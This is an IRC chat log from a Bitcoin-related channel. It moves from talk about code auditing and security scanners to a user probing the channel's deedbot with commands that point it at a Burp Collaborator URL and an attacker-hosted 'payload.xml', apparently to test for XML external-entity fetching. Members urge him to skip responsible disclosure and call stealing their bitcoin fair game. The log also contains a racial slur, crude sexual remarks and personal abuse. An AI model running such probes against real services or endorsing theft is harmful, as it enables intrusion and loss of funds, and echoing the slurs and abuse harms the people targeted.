1788800;1521740450;asciilifeform;the ~other~ engineering heuristic that's absolutely imho grand, and that i stole from mircea_popescu , is 'there is not a mechanical substitute for coming to an understanding with the people you live and work with'
1788801;1521740468;asciilifeform;cpu quotas and other 'systems that can be exam-gamed' are not substitute for talking to people.
1788802;1521740516;asciilifeform;and suddenly when you apply this you get flexibility that you could never get from mechanical fences.
1788803;1521740526;mircea_popescu;i suppose a logical next step for pizarro is to have a bot dedicated to listing who's on boxes, what the load is like etc.
1788804;1521740543;asciilifeform;unix even has helpful commandline items for this..
1788805;1521740552;mircea_popescu;yup. and trinque made the bot, it's a pipe job.
1788806;1521740552;asciilifeform;state of the art 1974!11
1788807;1521740568;mircea_popescu;asciilifeform which may be the last time this (ie, sane people working) even occured.
1788808;1521740577;mircea_popescu;very evidently same winds blew those sails up.
1788809;1521740602;asciilifeform;aha exactly
1788810;1521740826;mircea_popescu;http://btcbase.org/log/2018-03-22#1788711 << this reminds me of ye famous euler story, when he was punished to add all numbers up to 100.
1788811;1521740826;a111;Logged on 2018-03-22 16:58 asciilifeform: point being that a student who is tired of 'solved problems' can demonstrate mastery any time he's ready and able.
1788812;1521740838;asciilifeform;and observe, mircea_popescu does not pack his harem gurlz 2-3 to a room by sawing off their beaks
1788813;1521740843;asciilifeform;but by getting'em to get along.
1788814;1521740849;lobbes;Honestly, my knee-jerk reaction against sharing a box is probably based on the old idea of sharing it with $random_orcs. Sharing it with L1s may actually be a Good Thing (I'd probably learn a few useful things)
1788815;1521740864;asciilifeform;mircea_popescu: gauss
1788816;1521740880;mircea_popescu;o was it ?
1788817;1521740914;mircea_popescu;lobbes considering what the level of committment required to try it is... what, waste 20 bux ?
1788818;1521740943;asciilifeform;mircea_popescu: http://bit-player.org/wp-content/extras/gaussfiles/gauss-snippets.html
1788819;1521740952;mircea_popescu;i believe, i believe.
1788820;1521740959;asciilifeform;^ somebody sat and tried to collect all known versions of the legend
1788821;1521740977;asciilifeform;because he asked 'how the fuck do we know it ~was~ gauss'
1788822;1521741029;asciilifeform;earliest mention seems to be an 1877 item.
1788823;1521741254;ben_vulpes;lobbes: i think it'll be great; will push everyone on the box to standardize on known-ok package versions. "we support weechat 1.4 and fuckyou"
1788824;1521741274;ben_vulpes;s/fuckyou/for your benefit, dear customer/
1788825;1521741278;mircea_popescu;kinda the idea.
1788826;1521741305;mircea_popescu;faux choice of meaninglessness is the cornerstone of that entire http://btcbase.org/log/2018-03-22#1788602 system.
1788827;1521741305;a111;Logged on 2018-03-22 16:02 mircea_popescu: the unsustainable, unacceptable etc systematically misrepresented to them as socially acceptable, the necessary, correct etc equally systematically misrepresented as socially unacceptable... it's true that this is grade A child abuse, but then again it's also true the children so abused carry on the sad smoldering stumps of what's left of their lives
1788828;1521741359;mircea_popescu;consider hanbot's problem : there is "An abundance" of vps hosten to "choose" from. with the aforegiven knowledge that buttpay and shitsandwich. "but it's our policy to suck" and http://btcbase.org/log/2018-03-21#1788393 dedication and so on.
1788829;1521741359;a111;Logged on 2018-03-21 14:41 a111: Logged on 2018-03-08 00:21 mircea_popescu: this entire exercise in idiocy has, practically speaking, resulted in me paying various hard working ticos a grand or so, to the people fucking in the ass the "security" paradigm of pantsuit.fetlife. IN LIEU of having paid that much, and rather more, to the fetlife itself.
1788830;1521741366;mircea_popescu;fuck this "choice".\
1788831;1521741557;mircea_popescu;http://btcbase.org/log/2018-03-22#1788658 << loller where's that from
1788832;1521741557;a111;Logged on 2018-03-22 16:43 douchebag: https://i.imgur.com/2Tn47SJ.png
1788833;1521742424;*;mircea_popescu looks into the logs, sees 62 instances of eg - http://testasp.vulnweb.com/t/fit.txt%3F.jpg and similar garbage. this, of course, is "web security" or "penetration testing", or however you'd call it. a set of "tools", no doubt "professional" that permit one A CERTAIN KIND of cargo-cultish periphrastic cvasi-but-not-really involvement in their chosen field.
1788834;1521742467;mircea_popescu;it is sold to ignorant youths on the basis that "hey, SOMETIMES it yields results, when applied randomly to the web". that may be, as Framedragger 's ssh tests or phuctor dredged up, everything, every last bit of nonsense can be found "on the web".
1788835;1521742492;mircea_popescu;http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/ y compris.
1788836;1521742517;mircea_popescu;nevertheless... do you expect the 62nd application of the same magic wand upon trilema is liable to yield anything more, or better, than the previous 61 ?
1788837;1521742535;mircea_popescu;that's the problem with pantsuit "tools", branded however they may be branded : there's 0 marginal utility to them.
1788838;1521742536;asciilifeform;seealso naggum , in http://btcbase.org/log/2017-02-09#1612656 , http://btcbase.org/log/2017-02-09#1612657
1788839;1521742536;a111;Logged on 2017-02-09 18:03 asciilifeform: the expulsion of 'In all likelihood, there was no change at all to the labor-intensiveness, but the labor was more "fun" for a certain class of people.  Now, industrious retards can be a horrible thing. Over a number of years, close to a decade, Perl accreted bits and pieces from programming languages and became usable in lieu of a programming language by people who lacked the mental wherewithall to do programming.  Tinkerers, repair
1788840;1521742536;a111;Logged on 2017-02-09 18:03 asciilifeform: ers, handymen, the auto mechanics of the IT industry, all flocked to Perl because they could tinker so well with it with no required knowledge or skills.' ( http://www.xach.com/naggum/articles/3241270848355795@naggum.no.html ) would go a long way.
1788841;1521742573;mircea_popescu;the situation is approximately the same as of a "young aspiring gold prospector" who goes to the designated ROOM in his local community center, where he spits on some pebbles / digs through the plasticine cubes.
1788842;1521742590;mircea_popescu;very fucking definitionally a room is not a mine.
1788843;1521742616;mircea_popescu;and the only folk to whom the difference is immaterial are our stone age friends from the cargo-cult, cave dwellers as they find themselves.
1788844;1521742622;mircea_popescu;to them -- room is mine and mine is room, sure thang.
1788845;1521742737;asciilifeform;https://archive.is/xqalm << illustration.
1788846;1521742776;asciilifeform;( 'chukcha computing' )
1788847;1521742816;mircea_popescu;but hey -- vulnweb "works" and therefore... "works". the confusion between these workings is lost to the noob. and yet... magic also "works" in the first case -- when magician/warlock/condoleeza rice walk into room with sickman and wave magic wand, SOMETIMES IT HEALS IT!!!
1788848;1521742839;mircea_popescu;yet magic doesn't work in the working sense of the verb to work, as found in hospitals as opposed to magic shaman nigger hut.
1788849;1521742845;mircea_popescu;asciilifeform rather.
1788850;1521744090;mircea_popescu;in other webs, big bang empire is moderately amusing. you're a pornstar looking for work.
1788851;1521744227;douchebag;mircea_popescu: Anyone who uses scanners such as acunetix or whatever that is called is not a professional.
1788852;1521744254;douchebag;There is nothing professional about running a scanner and reading the results.
1788853;1521744305;asciilifeform;douchebag: if you indeed do something moar than running scanners, it still remains to be seen here
1788854;1521744321;asciilifeform;douchebag: consider to demonstrate some skilled work.
1788855;1521744329;asciilifeform;as discussed, re e.g. trb.
1788856;1521744363;mircea_popescu;douchebag aha.
1788857;1521744369;douchebag;Yes, I'm going to be looking into that ater work
1788858;1521744443;asciilifeform;possibly funnily , early in trb life , asciilifeform on a lark put it through a $maxint scamolade 'cpp security auditor' proggy that the imperial slavegalley he was working in, had bought. the result -- unsuprisingly to tuned-in folx, i expect -- was so unremarkable that i did not bother to post it.
1788859;1521744572;asciilifeform;( evidently , shitoshi -- for whatever his other flaws -- knew how to run 'lint' )
1788860;1521744806;douchebag;Yeah generally speaking when it comes to security, you should never depend on a scanner or set of 'tools' to comprehensively perform an audit
1788861;1521744936;asciilifeform;douchebag: i suspect that your idea of 'comprehensive audit' is exaggeratedly painless
1788862;1521744976;asciilifeform;if it's in any kind of way influenced by 'industry best practice'(tm)(r) in particular.
1788863;1521745034;douchebag;what do you mean by that?
1788864;1521745103;asciilifeform;douchebag: do you, for example, think that it is easier to audit a program, than to write it ?
1788865;1521745143;douchebag;It depends on the complexity of the program
1788866;1521745173;douchebag;it also depends on who wrote the program
1788867;1521745177;asciilifeform;so evidently douchebag you think that it is possible to speak of 'having audited' a program that you did not fully understand, in the sense where you could sit down in a room with a 'clean' comp and write it again ?
1788868;1521745201;asciilifeform;if you think that it suffices to look for 'known types of questionable code', you are then a meat scanner
1788869;1521745213;asciilifeform;exactly like the idjit payware linter, but more expensive because you are made of meat
1788870;1521745224;asciilifeform;at least the linter only wants a few watts to run
1788871;1521745283;asciilifeform;whereas meat linter wants 100+watt, and house, and gurlz, and fast cars, and hell knows what else
1788872;1521745313;douchebag;No, I think if you're auditing code you should understand exactly what, why and how that code is doing what it is doing
1788873;1521745328;asciilifeform;then from whence came the 'it depends...' ?
1788874;1521745357;BingoBoingo;In other campus rape, In Saint Louis the sexual predators target the Fratbois http://www.stltoday.com/news/local/crime-and-courts/suspect-in-rape-of-male-umsl-student-had-been-arrested/article_e886f53b-6589-5ab4-8320-80409a5ef78c.html
1788875;1521745438;douchebag;Because sometimes people use complex solutions for simple problems - complexity doesn't necessarily mean it is better
1788876;1521745469;asciilifeform;how does this connect to the thread ?
1788877;1521745501;asciilifeform;in what case, douchebag , is proper audit somehow easier than writing the program from empty space to solve the same problem. describe one.
1788878;1521745518;asciilifeform;audit is in all cases ~considerably harder~
1788879;1521745598;mircea_popescu;BingoBoingo by now i suspect they're pasty enough to make great bottoms.
1788880;1521745679;douchebag;asciilifeform: If the audit reveals that everything was done properly and to a high standard
1788881;1521745705;asciilifeform;douchebag: auditor studies three separate ( and usually in cases where audit is called for, quite disjoint ) items -- a) the problem the program is solving  b) what the author ~declared~ to be the solution to (a)  c) what the program he wrote, ~actually does~, under the closure of all possible inputs
1788882;1521745760;asciilifeform;douchebag: from whence comes the idea in your head of 'high standard' ? what program have you read that 'was written to high standard', wouldja know it 'if it bit you' ??
1788883;1521745760;douchebag;I agree with that
1788884;1521745843;asciilifeform;this is a genuine problem with whole fucking field, not a personal flaw of douchebag
1788885;1521745852;asciilifeform;there is ~precious~ little 'high standard' anything to learn from.
1788886;1521745894;asciilifeform;and so, without any ill will to douchebag , i would put the likelihood that he had learned from something worth learning from, as somewhere near 0
1788887;1521745936;douchebag;asciilifeform: In my head an idea of 'high standard' is when functionality and security are both taken into consideration during implementation
1788888;1521745959;asciilifeform;douchebag: recall http://btcbase.org/log/2018-03-22#1788623 ?
1788889;1521745959;a111;Logged on 2018-03-22 16:25 mircea_popescu: douchebag if 13 yo kid comes to psychologist's office because insomnia, and after some hymenlick maneouvering on the part of the professional comes out with the story that has "terrifying and disturbing dreams", thereuponwhich recounts numerous instances of dreamed tits, nipples and areola but 0 clits, labia or vaginal openings, the psychologist can safely thereby infer 13yo kid is a virgin.
1788890;1521745989;asciilifeform;douchebag: you speak of 'program written to high standard' as if it were a concrete item that you have actually seen or touched
1788891;1521746008;asciilifeform;rather than empty words. which i suspect , in your head, it right now is.
1788892;1521746034;asciilifeform;like the smooth doll vulvas of the boy's dream.
1788893;1521746153;douchebag;asciilifeform: You're not even worth responding to at this point, I think you're the one who wouldn't know 'if it bit you'
1788894;1521746168;asciilifeform;so no shared priors then ?
1788895;1521746218;asciilifeform;and no response to the very imho concrete q, of what exactly 'to high standard' program douchebag has seen, read, used ?
1788896;1521746306;mod6;DISQUALIFIED.
1788897;1521746319;asciilifeform;mod6: maybe miracle -- of miracles -- d00d will... answer ?
1788898;1521746319;mod6;I've read enough of this for today.
1788899;1521746324;*;mod6 bangs gavel.
1788900;1521746327;douchebag;I have plenty of priors, I work with a team of highly trained security professionals every day and we have audited all sorts of applications
1788901;1521746353;asciilifeform;ahahahahaha
1788902;1521746390;asciilifeform;nao to be fair maybe d00d dun speak the king's english, whoknows
1788903;1521746392;douchebag;I can tell you for instance
1788904;1521746401;asciilifeform;but apparently does not know what is 'shared priors'
1788905;1521746407;douchebag;nginx cares about security
1788906;1521746435;douchebag;Apache doesn't - that's why it's called A patch e
1788907;1521746504;ben_vulpes;that's ancient and incorrect apocrypha
1788908;1521746511;asciilifeform;and hillary clitler 'cares about the children' ahahaha.
1788909;1521746551;mircea_popescu;douchebag "shared priors" is a term of art, denoting those useful notions that two participants to a discussion share identically.
1788910;1521746555;douchebag;I can tell you Yahoo is a less secure company than Google
1788911;1521746575;douchebag;Uber also has a very good security team, despite recent press
1788912;1521746582;mircea_popescu;two people in euclidean geometry share the priors noted down by euclid. some other guy on a bannach sphere somewhere, does not.
1788913;1521746616;mircea_popescu;asciilifeform did you do this thing as a kid, where you'd go about the parked cars in the street after leaving school to see "asta cit prinde ?!?!" ie, "how fast does this one go ???"
1788914;1521746627;mircea_popescu;to be established by the number written on the rightmost spot on the odometer.
1788915;1521746637;asciilifeform;mircea_popescu: worse, with pictures of carz. from 'turbo' chewing gum.
1788916;1521746638;douchebag;When working with extremely large codebases, vulnerabilities are going to occur
1788917;1521746657;douchebag;Nothing is 'perfect'
1788918;1521746659;mircea_popescu;douchebag how do you know yahoo is more secure than alphabet ?
1788919;1521746680;douchebag;Because I've worked on pentesting both of them
1788920;1521746686;mircea_popescu;as a subplot, why would a large company require a large codebase ?
1788921;1521746691;ben_vulpes;the holding company?
1788922;1521746727;douchebag;I never said large companies require large codebases
1788923;1521746745;mircea_popescu;douchebag so you covered say 80% of google's code and 70% of yahoos, and on this basis the 8`844`644 holes you found with yahoo makes you suspect the mere 2`333`156 holes found in google's schweitzer reflect a lesser per-cubit average of holes ?
1788924;1521746776;mircea_popescu;(sub-subplot : calculate the probability of that statement being true ; show the math you used.)
1788925;1521746844;mod6;How many man hours are being wasted on this?
1788926;1521746855;mircea_popescu;mod6 im just going to bed o.O
1788927;1521746871;mircea_popescu;laters.
1788928;1521746875;mod6;C-ya
1788929;1521746879;mod6;!!down douchebag
1788930;1521746993;lobbes;Tsk. Shame
1788931;1521746998;lobbes;http://btcbase.org/log/2018-03-22#1788893 << you know this wasn't personal right? (Pantsuitism trains emotional response to criticism, I know). He's trying to lead you to realise an important point for yourself  (this is a true beauty of this place, incidentally; can meaningfully confront the Self, if you are willing)
1788932;1521746998;a111;Logged on 2018-03-22 19:15 douchebag: asciilifeform: You're not even worth responding to at this point, I think you're the one who wouldn't know 'if it bit you'
1788933;1521747025;lobbes;Though, some simply are not willing
1788934;1521747053;ben_vulpes;im kinda surprised to see the indoctrination so thick in a twenty year old
1788935;1521747075;ben_vulpes;although i suppose it comes with a decade of 'security community' baggage
1788936;1521747100;BingoBoingo;!!up douchebag Have you considered getting hard, poking around the internet for warm receptive holes, and submitting writeups to Qntra?
1788937;1521747101;deedbot;douchebag voiced for 30 minutes.
1788938;1521747132;lobbes;Right? Sucks, because he has more knowledge at 20 than I do now at 30. Sadly, also moar cockroaches
1788939;1521747189;douchebag;I could submit writeups
1788940;1521747197;BingoBoingo;lobbes: It's a hazard of pantsuit education. Fellow can get loaded up with training as a technician while being sideloaded with broken priors
1788941;1521747198;mod6;BingoBoingo: re !!down that man.  I don't have time to read through all this nonsense to pick out 3 important lines to pizarro.
1788942;1521747199;ben_vulpes;lobbes: you should see the girls; i swear the only ones who aren't wholly corrupted by the anxiety machine are the 1st-generation ethnic imports who take care of my kid
1788943;1521747243;mod6;We need to get to work, this is getting in the way.  0 signal, max noise.
1788944;1521747251;BingoBoingo;douchebag: Find a hole, have your fun and profit. Leave a note about the aftermath for Qntra.
1788945;1521747254;BingoBoingo;!!down douchebag
1788946;1521747341;asciilifeform;ben_vulpes: in my experience 20yo who already took home xxx,xxx $ 'for' doing The Wrong Thing , is incurable. but it was worth a try.
1788947;1521747432;BingoBoingo;mod6: Had to give the fellow a lead. Perhaps dude finds a vulnerability in Fedwire and resets the UnifiedStandardDosiedo chain? Submits article. For the young and broken that might be more productive homework than "write a V to understand why you are writing a V"
1788948;1521747579;ben_vulpes;oh and twist, douchebag skip the responsible disclosure fingertrap and fuck 'em hard.
1788949;1521749439;BingoBoingo;What is a Qntra submission if not the most responsible possible disclosure
1788950;1521749459;mod6;Sure.
1788951;1521750761;mod6;Ok finally caught up now.
1788952;1521750765;mod6;!!up douchebag
1788953;1521750766;deedbot;douchebag voiced for 30 minutes.
1788954;1521750913;mod6;douchebag: Let's raise the sig/noise ratio.  Try to heed your betters in here.  And do take some time to read the logs, they're enriching.
1788955;1521751565;deedbot;http://qntra.net/2018/03/rising-african-political-star-criticises-poor-australia-no-black-people-to-exploit/ << Qntra - Rising African Political Star Criticises "Poor" Australia: "No Black People To Exploit"
1788956;1521764505;asciilifeform;meanwhile, in not-wholly-ridiculous academics , http://babble-rnn.consected.com/docs/babble-rnn-generating-speech-from-speech-post.html
1788957;1521764525;asciilifeform;^ 'analogue' shannonizers
1788958;1521764617;asciilifeform;http://babble-rnn.consected.com/docs/current-audio.html << for the impatient.
1788959;1521765539;mod6;wb! you don't sleep much huh
1788960;1521766380;mircea_popescu;i guess not huh!
1788961;1521766494;mod6;:]
1788962;1521775628;ben_vulpes;credit where credit is due, douchebag went from http://btcbase.org/log/2018-01-26#1777226 to http://btcbase.org/log/2018-03-22#1788527 (albeit a stealth admission of personal shortcomings) but contextual lulz of the week go to http://btcbase.org/log/2018-03-22#1788529
1788963;1521775628;a111;Logged on 2018-01-26 19:46 douchebag: Well, I'm just trying to figure out where my skillset could be best put to use, I would be more than capable of writing a V implementation or setting up an IRC bot. I'm trying to leave it to you guys to tell me where my skillset could best be put to use
1788964;1521775628;a111;Logged on 2018-03-22 11:14 douchebag: I don't understand what a V is I have read about it, I have looked at examples and I still don't understand
1788965;1521775628;a111;Logged on 2018-03-22 11:15 douchebag: If I understood it completely it would be no problem coding it.
1788966;1521775889;ben_vulpes;oh and other obvious pentesting targets douchebag: qrrqobg jnyyrg (rot13)
1788967;1521776976;ben_vulpes;!!reputation douchebag
1788968;1521776979;deedbot;http://p.bvulpes.com/pastes/RwZvf/?raw=true
1788969;1521777013;ben_vulpes;guten tag, trinque !
1788970;1521777021;trinque;hola ben_vulpes!
1788971;1521777027;trinque;yeah sure poke her holes
1788972;1521777048;ben_vulpes;douchebag: you can voice yourself you know
1788973;1521777072;trinque;I seem to recall this kid being told to do things, came back with his snowflake personality and american dream.
1788974;1521777094;ben_vulpes;i'm a softie what can i say
1788975;1521777136;ben_vulpes;mighta been asking an infantryman to fly a helicopter, who knows
1788976;1521777176;trinque;if he could discover where the wallet actually lives, I'd be mighty impressed.
1788977;1521777428;ben_vulpes;douchebag: don't tell me you lost your key
1788978;1521777634;ben_vulpes;it's !!v douchebag
1788979;1521777641;ben_vulpes;http://deedbot.org/help.html
1788980;1521777668;douchebag;There we go
1788981;1521777676;douchebag;Okay so question about these bots
1788982;1521777702;douchebag;!!deed http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
1788983;1521777708;deedbot;Bad URL or network outage.
1788984;1521777778;douchebag;!!subscribe http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
1788985;1521777780;deedbot;douchebag subscription to http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml failed
1788986;1521777815;ben_vulpes;many of these work in pm douchebag
1788987;1521777843;douchebag;Okay, do you want me to do a white box or black box audit?
1788988;1521777871;trinque;o,0
1788989;1521777877;ben_vulpes;i don't much give a shit, take some initiative and do something?
1788990;1521777892;trinque;something other than the xss snore.
1788991;1521777900;trinque;I don't much give a fuck if someone puts a script tag in a deed.
1788992;1521777914;trinque;they're going to what, steal your session on a static site?
1788993;1521777916;douchebag;Okay, I would be most useful if I could view the source of deedbot
1788994;1521777918;ben_vulpes;but trinque what if someone visits a deedbot page and their browser executes it!?!?!
1788995;1521777980;douchebag;What the fuck is your guys deal?
1788996;1521777990;douchebag;How am I supposed to know the site was static?
1788997;1521777994;ben_vulpes;aaahaha
1788998;1521778000;ben_vulpes;WHANGGGGGGGGGG
1788999;1521778007;douchebag;Grow the fuck up
1789000;1521778039;trinque;douchebag: this is not where you parade your idiocy dubbed personality and aspirations and have them validated
1789001;1521778042;ben_vulpes;https://thumbs.gfycat.com/DevotedSeriousButterfly-size_restricted.gif
1789002;1521778061;trinque;this is where you submit and grow, or learn you're not worth it.
1789003;1521778070;douchebag;Regardless of whether or not the javascript could do anything, it still allows HTML injection which can be used to publish fake content.
1789004;1521778090;ben_vulpes;is this like fake news?
1789005;1521778090;trinque;the content was signed, what fake
1789006;1521778092;douchebag;Which can be used for social engineering
1789007;1521778101;trinque;fuck, next we'll be stealing elections
1789008;1521778110;ben_vulpes;trinque: i want northern california
1789009;1521778119;trinque;long as you clear it first, I'll come visit
1789010;1521778144;ben_vulpes;i'm going to need three rail cars of sugar and a fuckton of smallish pvc tubes
1789011;1521778152;douchebag;I'm not here to argue with you children about whether or not you would have fallen for the attack. I provided a valid proof of concept like any professional would do.
1789012;1521778166;ben_vulpes;funny how the twenty year old is fixated on growing up
1789013;1521778178;trinque;starving for it, naturally
1789014;1521778240;ben_vulpes;douchebag: but it doesn't have the ssl lock
1789015;1521778251;ben_vulpes;consumers know not to trust websites without the magic green thingy
1789016;1521778280;ben_vulpes;or do i not understand how fake content works, because actually i'm certain that i don't understand what this gpg-signed fake content is.
1789017;1521778297;douchebag;Listen, I understand that you're all upset that I made you look like an idiot for not sanitizing all user input. These are habits that are picked up after you learn about programming a secure web application.
1789018;1521778304;ben_vulpes;ho ho ho
1789019;1521778311;asciilifeform;douchebag: go ahead and 'socially engineer' people who actually verify the pgp sigs on errything they touch. i'll interestedly watch.
1789020;1521778349;douchebag;asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
1789021;1521778360;asciilifeform;first you gotta break it
1789022;1521778369;asciilifeform;before anyone gives a damn re 'fix'
1789023;1521778370;trinque;douchebag: the web as it is ought to burn; the notion that there are any professionals tending the shit adobe is hysterical.
1789024;1521778386;douchebag;adobe?
1789025;1521778394;ben_vulpes;douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
1789026;1521778416;ben_vulpes;i'm clearly just an amateur, but an advanced security consultant like yourself should have no troubles explaining it to a civvy
1789027;1521778435;asciilifeform;for that matter, why does douchebag settle for small change of www ? a remote ex for trb or even prb will easily bring in enuff loot to buy a battleship. without having to convince anybody, i'll note, of anything.
1789028;1521778473;asciilifeform;to the victor -- the spoils. take'em privkeys.
1789029;1521778478;douchebag;Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
1789030;1521778508;ben_vulpes;douchebag: gonna explain, per request, or continue faffing
1789031;1521778538;ben_vulpes;threat model etc, like a Real Professional?
1789032;1521778586;trinque;dispense the food pellet already ben_vulpes. dude said smartwords.
1789033;1521778610;douchebag;I have the feeling that even if I got remote code execution
1789034;1521778622;ben_vulpes;what, we'd argue with your sending btc to yourself?
1789035;1521778625;douchebag;you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
1789036;1521778641;asciilifeform;ben_vulpes: there's quite likely enuff coin just in trb hotwallets, to buy a flotilla. and if you can get to it, it's as yours as your own nose, nobody could do a thing about it. so wtf are you doing fucking with php.
1789037;1521778656;trinque;http://btcbase.org/log/2017-08-31#1707554
1789038;1521778656;a111;Logged on 2017-08-31 19:11 mircea_popescu: can't say i've encountered that many ; and can say that from actual lived experience, the "thinks he's jeddi" heuristic is a fine indicator for "head so far up ass the net result of sufficient whipping will be soap", ie http://trilema.com/2015/the-anal-child/
1789039;1521778660;ben_vulpes;douchebag: you just don't read do you http://logs.bvulpes.com/trilema?d=2018-3-22#317661
1789040;1521778660;mimisbrunnr;Logged on 2018-03-22 19:33 ben_vulpes: oh and twist, douchebag skip the responsible disclosure fingertrap and fuck 'em hard.
1789041;1521778680;asciilifeform;err, douchebag
1789042;1521778681;douchebag;I read that, but I didn't think you were referring to yourselves
1789043;1521778703;douchebag;So if I can pop any of your boxes and steal bitcoin -  that's fair game?
1789044;1521778709;asciilifeform;yes!
1789045;1521778711;ben_vulpes;unlike the rest of the world i hold myself to the standard i hold it to
1789046;1521778713;ben_vulpes;fucking duh?
1789047;1521778741;douchebag;In that case, I'll get right to work
1789048;1521778761;douchebag;is deedbot open source?
1789049;1521778768;ben_vulpes;if trinque likes you
1789050;1521778775;trinque;I don't like you.
1789051;1521778779;asciilifeform;lol
1789052;1521778781;ben_vulpes;ahaha
1789053;1521778794;douchebag;Alright, I don't need the source code to pwn your shit
1789054;1521778804;trinque;(lets see if he can find the food pellets himself!)
1789055;1521778813;ben_vulpes;douchebag: how long do you figure this'll take?
1789056;1521778829;douchebag;It will take as much time as it takes me
1789057;1521778847;asciilifeform;such dedication...
1789058;1521778965;mircea_popescu;http://btcbase.org/log/2018-03-23#1789006 << i r entertaint.
1789059;1521778965;a111;Logged on 2018-03-23 04:08 douchebag: Which can be used for social engineering
1789060;1521779082;douchebag;!!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
1789061;1521779087;deedbot;Bad URL or network outage.
1789062;1521779091;mircea_popescu;this is pretty lulzy.
1789063;1521779117;mircea_popescu;http://btcbase.org/log/2018-03-23#1789020 << different paradigm, yo. it may be valid over there, but it's not valid over here. because reasons.
1789064;1521779117;a111;Logged on 2018-03-23 04:12 douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
1789065;1521779160;douchebag;mircea_popescu: I have an honest question for you
1789066;1521779168;asciilifeform;bbut does it still privilege the speed of light!1!
1789067;1521779196;mircea_popescu;shoot.
1789068;1521779281;douchebag;You're into BDSM and having slaves and such right? Is that what the dudes you got in here are fof?
1789069;1521779295;douchebag;for*
1789070;1521779310;mircea_popescu;no, i don't swing that way. the girls occasionally swoop in, but not commonly.
1789071;1521779314;ben_vulpes;oh for the motherloving fuck hole of sin trb won't sendmany with two outputs to the same address
1789072;1521779322;mircea_popescu;ben_vulpes it can't.
1789073;1521779332;mircea_popescu;look into the datastruct, there's black magick reasons.
1789074;1521779338;*;ben_vulpes thinks
1789075;1521779357;ben_vulpes;i'll take a clue if you have one handy
1789076;1521779372;mircea_popescu;http://btcbase.org/log/2018-03-23#1789025 << incidentally this is very tragically broken. what next, you're going to hold me to show mechanism of action of all poisons too ?
1789077;1521779372;a111;Logged on 2018-03-23 04:13 ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
1789078;1521779391;mircea_popescu;we don't even fucking know how paracetamol works ffs.
1789079;1521779464;trinque;douchebag: so why would the deed command parse xml, let alone go look up a dtd?
1789080;1521779496;ben_vulpes;mircea_popescu: i'd have settled for a plausible story of social engineering
1789081;1521779549;mircea_popescu;douchebag it will reject unsigned material, look at what deeds it accepted in the past.
1789082;1521779559;ben_vulpes;or read the fucking help page omfg
1789083;1521779588;trinque;hey, he called us fags. can't be that pantsuited.
1789084;1521779598;trinque;curious creature
1789085;1521779604;ben_vulpes;oh yeah im supposed to be upset at the bigotry
1789086;1521779612;ben_vulpes;douchebag: stop being a bigot
1789087;1521779612;mircea_popescu;im starting to understand that "the opposite of talking is not listening, the opposite of talking is waiting for your turn" quip may have been adequate in the early postmodern stage ; but by now it's truly a case of "work efficiency is most work with least read." chucka wins in the end.
1789088;1521779615;ben_vulpes;it's childish
1789089;1521779670;ben_vulpes;amazingly, rtfm only shows up in logs 41 times
1789090;1521779683;mircea_popescu;http://btcbase.org/log/2018-03-23#1789029 << acrually, yes.
1789091;1521779683;a111;Logged on 2018-03-23 04:14 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
1789092;1521779693;douchebag;https://i.imgur.com/2Tn47SJ.png
1789093;1521779717;douchebag;This is just uncalled for
1789094;1521779745;ben_vulpes;so is the kink shaming!
1789095;1521779760;douchebag;How am I kink shaming
1789096;1521779762;mircea_popescu;http://btcbase.org/log/2018-03-23#1789035 << in trb you mean ? not likely.
1789097;1521779762;a111;Logged on 2018-03-23 04:17 douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
1789098;1521779764;douchebag;I just asked a question
1789099;1521779767;douchebag;I think you're projecting
1789100;1521779789;ben_vulpes;kidding, but an understandable confusion
1789101;1521779827;trinque;anyone that wants to pwn deedbot might consider that it's a wrapper around gpg.
1789102;1521779832;ben_vulpes;asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
1789103;1521779855;trinque;and given that we're all still relying on it, exploits found and squashed in gpg would be lauded.
1789104;1521779921;mircea_popescu;douchebag there's a lengthy history of people's contributions respek, but they have to be contributory.
1789105;1521779967;douchebag;mircea_popescu: I was just shitposting sir, no need to explain
1789106;1521780023;douchebag;!!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
1789107;1521780025;deedbot;accepted: 1
1789108;1521780032;mircea_popescu;!#s etherape
1789109;1521780032;a111;17 results for "etherape", http://btcbase.org/log-search?q=etherape
1789110;1521780044;mircea_popescu;about as fair game as it gets ; part and parcel of history by now.
1789111;1521780048;trinque;douchebag: why are you still trying the dtd thing?
1789112;1521780054;douchebag;!!subscribe http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
1789113;1521780055;deedbot;douchebag subscription to http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml failed
1789114;1521780091;douchebag;trinque: Because I haven't seen the source code so I don't know if dtd was disabled
1789115;1521780093;mircea_popescu;http://trilema.com/2016/to-the-dao-and-the-ethereum-community-fuck-you/ < item
1789116;1521780114;mircea_popescu;douchebag you realise it rejects unsigned input, do you ?
1789117;1521780140;mircea_popescu;!#s from:deedbot accepted
1789118;1521780140;a111;382 results for "from:deedbot accepted", http://btcbase.org/log-search?q=from%3Adeedbot%20accepted
1789119;1521780164;mircea_popescu;wait, it doesn't reject unsigned material ?!
1789120;1521780165;douchebag;mircea_popescu: You realize I signed it
1789121;1521780172;trinque;what, of course it does.
1789122;1521780172;mircea_popescu;ah ok.
1789123;1521780179;trinque;he's seeing if the XML parser somewhere pulls external schema files
1789124;1521780203;trinque;douchebag: so perhaps the feeds parser thing does, even. I have no idea. What happens next?
